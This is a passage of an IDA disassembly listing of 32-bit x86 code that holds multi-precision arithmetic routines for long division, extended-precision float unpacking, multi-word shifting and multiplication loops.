		mov	ebx, [ebp+var_30]
		sub	ecx, esi
		sbb	ebx, [ebp+var_C]
		mov	[ebp+var_30], ebx

loc_8058243:				; CODE XREF: sub_8058094+195j
					; sub_8058094+19Bj
		mov	edi, [ebp+arg_8]
		sub	edi, [ebp+arg_10]
		mov	[ebp+var_8], edi
		dec	[ebp+var_8]
		js	loc_80584B4
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+eax*4]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_8]
		not	edx
		and	edx, 1
		mov	[ebp+var_54], edx
		cmp	[ebp+var_8], 0FFFFFFFFh
		jle	short loc_805827A
		test	edx, edx
		jz	loc_8058336

loc_805827A:				; CODE XREF: sub_8058094+1DCj
		add	[ebp+arg_4], 0FFFFFFFCh
		mov	ebx, [ebp+var_C]
		cmp	[ebp+var_30], ebx
		jnz	short loc_80582CC
		mov	[ebp+var_50], 0FFFFFFFFh
		add	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edi, [ebp+var_30]
		cmp	ecx, edi
		jnb	short loc_80582BC
		mov	eax, ecx
		sub	eax, esi
		mov	[ebp+var_2C], eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, esi
		adc	eax, 0
		mov	[ebp+var_30], eax
		mov	ebx, [ebp+var_20]
		mov	dword ptr [ebx], 0FFFFFFFFh
		jmp	short loc_8058329
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80582BC:				; CODE XREF: sub_8058094+204j
		mov	[ebp+var_30], esi
		test	esi, esi
		jz	short loc_80582C6
		dec	[ebp+var_30]

loc_80582C6:				; CODE XREF: sub_8058094+22Dj
		mov	ecx, esi
		neg	ecx
		jmp	short loc_80582E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80582CC:				; CODE XREF: sub_8058094+1F0j
		mov	eax, ecx
		mov	edx, [ebp+var_30]
		div	[ebp+var_C]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_50], eax
		mul	esi
		mov	[ebp+var_30], edx
		mov	ecx, eax

loc_80582E1:				; CODE XREF: sub_8058094+236j
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	[ebp+var_54], ebx

loc_80582E9:				; CODE XREF: sub_8058094+27Bj
		mov	edi, [ebp+var_2C]
		cmp	[ebp+var_30], edi
		ja	short loc_80582F8
		jnz	short loc_8058311
		cmp	[ebp+var_54], ecx
		jnb	short loc_8058311

loc_80582F8:				; CODE XREF: sub_8058094+25Bj
		dec	[ebp+var_50]
		mov	eax, [ebp+var_30]
		sub	ecx, esi
		sbb	eax, 0
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_C]
		add	[ebp+var_2C], edx
		cmp	[ebp+var_2C], edx
		jnb	short loc_80582E9

loc_8058311:				; CODE XREF: sub_8058094+25Dj
					; sub_8058094+262j
		mov	edi, [ebp+var_50]
		mov	ebx, [ebp+var_20]
		mov	[ebx], edi
		mov	eax, [ebp+var_2C]
		mov	edx, [ebp+var_54]
		sub	edx, ecx
		sbb	eax, [ebp+var_30]
		mov	ecx, edx
		mov	[ebp+var_30], eax

loc_8058329:				; CODE XREF: sub_8058094+223j
		add	[ebp+var_20], 0FFFFFFFCh
		dec	[ebp+var_8]
		js	loc_80584B4

loc_8058336:				; CODE XREF: sub_8058094+1E0j
		mov	ebx, [ebp+var_20]
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		nop

loc_8058340:				; CODE XREF: sub_8058094+41Aj
		mov	edi, [ebp+arg_4]
		add	edi, 0FFFFFFFCh
		mov	[ebp+var_54], edi
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_30], eax
		jnz	short loc_8058394
		mov	[ebp+var_50], 0FFFFFFFFh
		add	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_30]
		cmp	ecx, edx
		jnb	short loc_8058384
		mov	ebx, ecx
		sub	ebx, esi
		mov	[ebp+var_2C], ebx
		mov	ecx, [edi]
		add	ecx, esi
		adc	ebx, 0
		mov	[ebp+var_30], ebx
		mov	edi, [ebp+var_28]
		mov	dword ptr [edi], 0FFFFFFFFh
		jmp	short loc_80583F1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058384:				; CODE XREF: sub_8058094+2CFj
		mov	[ebp+var_30], esi
		test	esi, esi
		jz	short loc_805838E
		dec	[ebp+var_30]

loc_805838E:				; CODE XREF: sub_8058094+2F5j
		mov	ecx, esi
		neg	ecx
		jmp	short loc_80583A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058394:				; CODE XREF: sub_8058094+2BBj
		mov	eax, ecx
		mov	edx, [ebp+var_30]
		div	[ebp+var_C]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_50], eax
		mul	esi
		mov	[ebp+var_30], edx
		mov	ecx, eax

loc_80583A9:				; CODE XREF: sub_8058094+2FEj
		mov	ebx, [ebp+var_54]
		mov	ebx, [ebx]
		mov	[ebp+var_54], ebx

loc_80583B1:				; CODE XREF: sub_8058094+343j
		mov	edi, [ebp+var_2C]
		cmp	[ebp+var_30], edi
		ja	short loc_80583C0
		jnz	short loc_80583D9
		cmp	[ebp+var_54], ecx
		jnb	short loc_80583D9

loc_80583C0:				; CODE XREF: sub_8058094+323j
		dec	[ebp+var_50]
		mov	eax, [ebp+var_30]
		sub	ecx, esi
		sbb	eax, 0
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_C]
		add	[ebp+var_2C], edx
		cmp	[ebp+var_2C], edx
		jnb	short loc_80583B1

loc_80583D9:				; CODE XREF: sub_8058094+325j
					; sub_8058094+32Aj
		mov	edi, [ebp+var_50]
		mov	ebx, [ebp+var_24]
		mov	[ebx], edi
		mov	eax, [ebp+var_2C]
		mov	edx, [ebp+var_54]
		sub	edx, ecx
		sbb	eax, [ebp+var_30]
		mov	ecx, edx
		mov	[ebp+var_30], eax

loc_80583F1:				; CODE XREF: sub_8058094+2EBj
		add	[ebp+arg_4], 0FFFFFFF8h
		mov	ebx, [ebp+var_C]
		cmp	[ebp+var_30], ebx
		jnz	short loc_8058444
		mov	[ebp+var_50], 0FFFFFFFFh
		add	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edi, [ebp+var_30]
		cmp	ecx, edi
		jnb	short loc_8058434
		mov	eax, ecx
		sub	eax, esi
		mov	[ebp+var_2C], eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, esi
		adc	eax, 0
		mov	[ebp+var_30], eax
		mov	ebx, [ebp+var_28]
		mov	dword ptr [ebx-4], 0FFFFFFFFh
		jmp	short loc_80584A2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058434:				; CODE XREF: sub_8058094+37Bj
		mov	[ebp+var_30], esi
		test	esi, esi
		jz	short loc_805843E
		dec	[ebp+var_30]

loc_805843E:				; CODE XREF: sub_8058094+3A5j
		mov	ecx, esi
		neg	ecx
		jmp	short loc_8058459
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058444:				; CODE XREF: sub_8058094+367j
		mov	eax, ecx
		mov	edx, [ebp+var_30]
		div	[ebp+var_C]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_50], eax
		mul	esi
		mov	[ebp+var_30], edx
		mov	ecx, eax

loc_8058459:				; CODE XREF: sub_8058094+3AEj
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	[ebp+var_54], ebx

loc_8058461:				; CODE XREF: sub_8058094+3F3j
		mov	edi, [ebp+var_2C]
		cmp	[ebp+var_30], edi
		ja	short loc_8058470
		jnz	short loc_8058489
		cmp	[ebp+var_54], ecx
		jnb	short loc_8058489

loc_8058470:				; CODE XREF: sub_8058094+3D3j
		dec	[ebp+var_50]
		mov	eax, [ebp+var_30]
		sub	ecx, esi
		sbb	eax, 0
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_C]
		add	[ebp+var_2C], edx
		cmp	[ebp+var_2C], edx
		jnb	short loc_8058461

loc_8058489:				; CODE XREF: sub_8058094+3D5j
					; sub_8058094+3DAj
		mov	edi, [ebp+var_50]
		mov	ebx, [ebp+var_24]
		mov	[ebx-4], edi
		mov	eax, [ebp+var_2C]
		mov	edx, [ebp+var_54]
		sub	edx, ecx
		sbb	eax, [ebp+var_30]
		mov	ecx, edx
		mov	[ebp+var_30], eax

loc_80584A2:				; CODE XREF: sub_8058094+39Bj
		add	[ebp+var_24], 0FFFFFFF8h
		add	[ebp+var_28], 0FFFFFFF8h
		add	[ebp+var_8], 0FFFFFFFEh
		jns	loc_8058340

loc_80584B4:				; CODE XREF: sub_8058094+1BBj
					; sub_8058094+29Cj
		mov	edi, [ebp+var_30]
		mov	ebx, [ebp+arg_4]
		mov	[ebx+4], edi
		mov	[ebx], ecx
		jmp	loc_8058624
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80584C4:				; CODE XREF: sub_8058094+1Ej
					; sub_8058094+2Ej
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lea	edx, [edx+eax*4]
		mov	[ebp+arg_4], edx
		mov	ebx, [ebp+arg_10]
		lea	esi, ds:0[ebx*4]
		add	[ebp+arg_C], esi
		mov	edi, [ebp+arg_C]
		mov	edi, [edi-4]
		mov	[ebp+var_14], edi
		mov	eax, [ebp+arg_C]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	ecx, [edx-4]
		cmp	ecx, edi
		jb	short loc_8058541
		ja	short loc_8058514
		mov	eax, ebx
		dec	eax
		push	eax
		mov	eax, [ebp+arg_C]
		sub	eax, esi
		push	eax
		mov	eax, [ebp+arg_4]
		sub	eax, esi
		push	eax
		call	sub_8057F48
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_805853B

loc_8058514:				; CODE XREF: sub_8058094+462j
		mov	edx, [ebp+arg_10]
		push	edx
		lea	ebx, ds:0[edx*4]
		mov	edi, [ebp+arg_C]
		sub	edi, ebx
		push	edi
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		push	eax
		push	eax
		call	sub_805A010
		mov	[ebp+var_4], 1
		add	esp, 10h

loc_805853B:				; CODE XREF: sub_8058094+47Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx-4]

loc_8058541:				; CODE XREF: sub_8058094+460j
		mov	ebx, [ebp+arg_8]
		sub	ebx, [ebp+arg_10]
		mov	[ebp+var_10], ebx
		dec	[ebp+var_10]
		js	loc_8058624
		mov	edi, [ebp+arg_4]
		add	edi, 0FFFFFFFCh
		mov	[ebp+var_1C], edi

loc_805855C:				; CODE XREF: sub_8058094+58Aj
		add	[ebp+var_1C], 0FFFFFFFCh
		add	[ebp+arg_4], 0FFFFFFFCh
		cmp	[ebp+var_14], ecx
		jnz	short loc_8058570
		mov	esi, 0FFFFFFFFh
		jmp	short loc_80585BD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058570:				; CODE XREF: sub_8058094+4D3j
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	edx, ecx
		div	[ebp+var_14]
		mov	[ebp+var_50], edx
		mov	esi, eax
		mov	eax, [ebp+var_18]
		mul	esi
		mov	[ebp+var_54], edx
		mov	ecx, eax
		mov	ebx, [ebp+var_50]
		cmp	edx, ebx
		ja	short loc_805859C
		jnz	short loc_80585BD
		lea	esi, [esi]

loc_8058594:				; CODE XREF: sub_8058094+527j
		mov	edi, [ebp+var_1C]
		cmp	[edi-4], ecx
		jnb	short loc_80585BD

loc_805859C:				; CODE XREF: sub_8058094+4FAj
					; sub_8058094+525j
		dec	esi
		mov	eax, [ebp+var_14]
		add	[ebp+var_50], eax
		cmp	[ebp+var_50], eax
		jb	short loc_80585BD
		cmp	[ebp+var_18], ecx
		jbe	short loc_80585B0
		dec	[ebp+var_54]

loc_80585B0:				; CODE XREF: sub_8058094+517j
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+var_50]
		cmp	[ebp+var_54], edx
		ja	short loc_805859C
		jz	short loc_8058594

loc_80585BD:				; CODE XREF: sub_8058094+4DAj
					; sub_8058094+4FCj ...
		push	esi
		mov	ebx, [ebp+arg_10]
		push	ebx
		lea	edi, ds:0[ebx*4]
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		mov	[ebp+var_50], eax
		push	eax
		mov	edx, [ebp+arg_4]
		sub	edx, edi
		mov	[ebp+var_54], edx
		push	edx
		call	sub_805A0B0
		mov	ecx, eax
		add	esp, 10h
		mov	ebx, [ebp+arg_4]
		cmp	[ebx], ecx
		jz	short loc_805860D
		mov	edi, [ebp+arg_10]
		push	edi
		mov	eax, [ebp+var_50]
		push	eax
		mov	edx, [ebp+var_54]
		push	edx
		push	edx
		call	sub_8066380
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jnz	short loc_805860C
		call	abort

loc_805860C:				; CODE XREF: sub_8058094+571j
		dec	esi

loc_805860D:				; CODE XREF: sub_8058094+556j
		mov	ebx, [ebp+var_10]
		mov	edi, [ebp+arg_0]
		mov	[edi+ebx*4], esi
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		dec	[ebp+var_10]
		jns	loc_805855C

loc_8058624:				; CODE XREF: sub_8058094+16Bj
					; sub_8058094+42Bj ...
		mov	eax, [ebp+var_4]

loc_8058627:				; CODE XREF: sub_8058094+3Dj
		lea	esp, [ebp+var_60]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8058094	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8058634	proc near		; CODE XREF: sub_8053310+16Ap

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_4], eax
		mov	al, byte ptr [ebp+var_4+1]
		shr	al, 7
		and	eax, 0FFh
		mov	[edx], eax
		mov	ax, word ptr [ebp+var_4]
		and	eax, 7FFFh
		add	eax, 0FFFFC001h
		mov	[esi], eax
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_8]
		mov	[ebx+4], eax
		test	[ebp+var_4], 7FFFh
		jnz	short loc_80586FC
		cmp	dword ptr [ebx], 0
		jnz	short loc_805869C
		test	eax, eax
		jnz	short loc_80586A2
		mov	dword ptr [esi], 0
		jmp	short loc_80586FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805869C:				; CODE XREF: sub_8058634+58j
		cmp	dword ptr [ebx+4], 0
		jz	short loc_80586DC

loc_80586A2:				; CODE XREF: sub_8058634+5Cj
		bsr	eax, [ebx+4]
		xor	al, 1Fh
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	short loc_80586CF
		mov	edx, [ebx+4]
		mov	ecx, eax
		shl	edx, cl
		mov	eax, 20h
		sub	eax, ecx
		mov	edi, [ebx]
		mov	ecx, eax
		shr	edi, cl
		mov	eax, edi
		or	edx, eax
		mov	[ebx+4], edx
		mov	ecx, [ebp+var_10]
		shl	dword ptr [ebx], cl

loc_80586CF:				; CODE XREF: sub_8058634+79j
		mov	edi, 0FFFFC002h
		sub	edi, [ebp+var_10]
		jmp	short loc_80586FA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80586DC:				; CODE XREF: sub_8058634+6Cj
		bsr	eax, [ebx]
		xor	al, 1Fh
		mov	[ebp+var_10], eax
		mov	edi, [ebx]
		mov	ecx, eax
		shl	edi, cl
		mov	[ebx+4], edi
		mov	dword ptr [ebx], 0
		mov	edi, 0FFFFBFE2h
		sub	edi, ecx

loc_80586FA:				; CODE XREF: sub_8058634+A3j
		mov	[esi], edi

loc_80586FC:				; CODE XREF: sub_8058634+53j
					; sub_8058634+64j
		mov	eax, 2
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8058634	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 5 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8058710	proc near		; CODE XREF: sub_8053310+64Dp
					; sub_8053310+AE9p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		sub	esi, 4
		mov	ebx, [esi+edx*4]
		xor	eax, eax
		shld	eax, ebx, cl
		dec	edx
		jz	short loc_805875D
		push	eax
		test	dl, 1
		jnz	short loc_805874A
		mov	eax, ebx
		nop
		db 8Dh,0B4h,26h,0,0,0,0	; <BAD>	lea	esi, [esi+0]

loc_8058740:				; CODE XREF: sub_8058710+44j
		mov	ebx, [esi+edx*4]
		shld	eax, ebx, cl
		mov	[edi+edx*4], eax
		dec	edx

loc_805874A:				; CODE XREF: sub_8058710+24j
		mov	eax, [esi+edx*4]
		shld	ebx, eax, cl
		mov	[edi+edx*4], ebx
		dec	edx
		jnz	short loc_8058740
		shl	eax, cl
		mov	[edi], eax
		pop	eax
		jmp	short loc_8058761
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805875D:				; CODE XREF: sub_8058710+1Ej
		shl	ebx, cl
		mov	[edi], ebx

loc_8058761:				; CODE XREF: sub_8058710+4Bj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8058710	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805876C	proc near		; CODE XREF: sub_8053310+737p
					; sub_8053310+CC5p ...

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		lea	ecx, [edi+ecx*4]
		mov	edi, [ebp+arg_10]
		lea	ecx, [ecx+edi*4-4]
		mov	[ebp+var_4], ecx
		cmp	edi, 1Fh
		jg	loc_80589F8
		test	edi, edi
		jnz	short loc_805879C
		xor	eax, eax
		jmp	loc_8058DD1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805879C:				; CODE XREF: sub_805876C+27j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx]
		cmp	eax, 1
		ja	loc_80588A0
		jnz	loc_8058830
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jle	loc_805889A
		mov	eax, [ebp+arg_8]
		and	eax, 3
		jz	short loc_80587FC
		cmp	eax, 1
		jle	short loc_80587E5
		cmp	eax, 2
		jle	short loc_80587D8
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		inc	ebx

loc_80587D8:				; CODE XREF: sub_805876C+5Fj
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ebx*4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+ebx*4], eax
		inc	ebx

loc_80587E5:				; CODE XREF: sub_805876C+5Aj
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ebx*4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+ebx*4], eax
		inc	ebx
		cmp	[ebp+arg_8], ebx
		jz	loc_805889A
		nop

loc_80587FC:				; CODE XREF: sub_805876C+55j
					; sub_805876C+BDj
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ebx*4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+ebx*4], eax
		lea	eax, [ebx+1]
		mov	edx, [edi+eax*4]
		mov	[ecx+eax*4], edx
		lea	eax, [ebx+2]
		mov	edx, [edi+eax*4]
		mov	[ecx+eax*4], edx
		lea	eax, [ebx+3]
		mov	edx, [edi+eax*4]
		mov	[ecx+eax*4], edx
		add	ebx, 4
		cmp	[ebp+arg_8], ebx
		jnz	short loc_80587FC
		jmp	short loc_805889A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058830:				; CODE XREF: sub_805876C+3Ej
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jle	short loc_805889A
		mov	edx, [ebp+arg_8]
		and	edx, 3
		jz	short loc_8058870
		cmp	edx, 1
		jle	short loc_805885E
		cmp	edx, 2
		jle	short loc_8058853
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 0
		inc	eax

loc_8058853:				; CODE XREF: sub_805876C+DBj
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0
		inc	eax

loc_805885E:				; CODE XREF: sub_805876C+D6j
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi+eax*4], 0
		inc	eax
		cmp	[ebp+arg_8], eax
		jz	short loc_805889A
		lea	esi, [esi]

loc_8058870:				; CODE XREF: sub_805876C+D1j
					; sub_805876C+12Cj
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0
		mov	dword ptr [ecx+eax*4+4], 0
		mov	dword ptr [ecx+eax*4+8], 0
		mov	dword ptr [ecx+eax*4+0Ch], 0
		add	eax, 4
		cmp	[ebp+arg_8], eax
		jnz	short loc_8058870

loc_805889A:				; CODE XREF: sub_805876C+49j
					; sub_805876C+89j ...
		xor	edx, edx
		jmp	short loc_80588B7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80588A0:				; CODE XREF: sub_805876C+38j
		push	eax
		mov	edi, [ebp+arg_8]
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8058DE0
		mov	edx, eax
		add	esp, 10h

loc_80588B7:				; CODE XREF: sub_805876C+130j
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], edx
		add	edi, 4
		mov	[ebp+arg_0], edi
		mov	esi, 1
		cmp	[ebp+arg_10], esi
		jle	loc_80589D2
		mov	ecx, [ebp+arg_10]
		test	cl, 1
		jnz	short loc_8058934
		mov	edi, [ebp+arg_C]
		mov	eax, [edi+4]
		cmp	eax, 1
		ja	short loc_8058904
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_805891B
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ecx
		call	sub_8066380
		jmp	short loc_8058916
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058904:				; CODE XREF: sub_805876C+179j
		push	eax
		mov	edi, [ebp+arg_8]
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8066420

loc_8058916:				; CODE XREF: sub_805876C+194j
		mov	edx, eax
		add	esp, 10h

loc_805891B:				; CODE XREF: sub_805876C+180j
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], edx
		add	edi, 4
		mov	[ebp+arg_0], edi
		inc	esi
		cmp	[ebp+arg_10], esi
		jz	loc_80589D2

loc_8058934:				; CODE XREF: sub_805876C+16Ej
					; sub_805876C+260j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+esi*4]
		cmp	eax, 1
		ja	short loc_805895C
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8058973
		mov	edi, [ebp+arg_8]
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		push	edi
		call	sub_8066380
		jmp	short loc_805896E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805895C:				; CODE XREF: sub_805876C+1D1j
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8066420

loc_805896E:				; CODE XREF: sub_805876C+1ECj
		mov	edx, eax
		add	esp, 10h

loc_8058973:				; CODE XREF: sub_805876C+1D8j
		mov	edi, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edi*4], edx
		mov	ebx, [ebp+arg_0]
		add	ebx, 4
		mov	edi, [ebp+arg_C]
		mov	eax, [edi+esi*4+4]
		cmp	eax, 1
		ja	short loc_80589A8
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_80589BC
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		push	ebx
		call	sub_8066380
		jmp	short loc_80589B7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80589A8:				; CODE XREF: sub_805876C+220j
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	sub_8066420

loc_80589B7:				; CODE XREF: sub_805876C+238j
		mov	edx, eax
		add	esp, 10h

loc_80589BC:				; CODE XREF: sub_805876C+227j
		mov	ecx, [ebp+arg_8]
		mov	[ebx+ecx*4], edx
		add	[ebp+arg_0], 8
		add	esi, 2
		cmp	[ebp+arg_10], esi
		jnz	loc_8058934

loc_80589D2:				; CODE XREF: sub_805876C+162j
					; sub_805876C+1C2j
		mov	eax, edx
		jmp	loc_8058DD1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80589DC:				; CODE XREF: sub_805876C+29Ej
		mov	edi, [ebp+arg_10]
		push	edi
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8058E20
		add	esp, 10h
		jmp	short loc_8058A22
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80589F8:				; CODE XREF: sub_805876C+1Fj
		mov	edi, [ebp+arg_10]
		lea	eax, ds:0[edi*8]
		sub	esp, eax
		mov	[ebp+var_8], esp
		cmp	edi, 1Fh
		jle	short loc_80589DC
		push	esp
		push	edi
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8059048
		add	esp, 14h

loc_8058A22:				; CODE XREF: sub_805876C+288j
		mov	edi, [ebp+arg_10]
		lea	eax, ds:0[edi*4]
		add	[ebp+arg_0], eax
		add	[ebp+arg_4], eax
		sub	[ebp+arg_8], edi
		cmp	[ebp+arg_8], edi
		jl	loc_8058C34
		lea	eax, ds:0[edi*8]
		sub	esp, eax
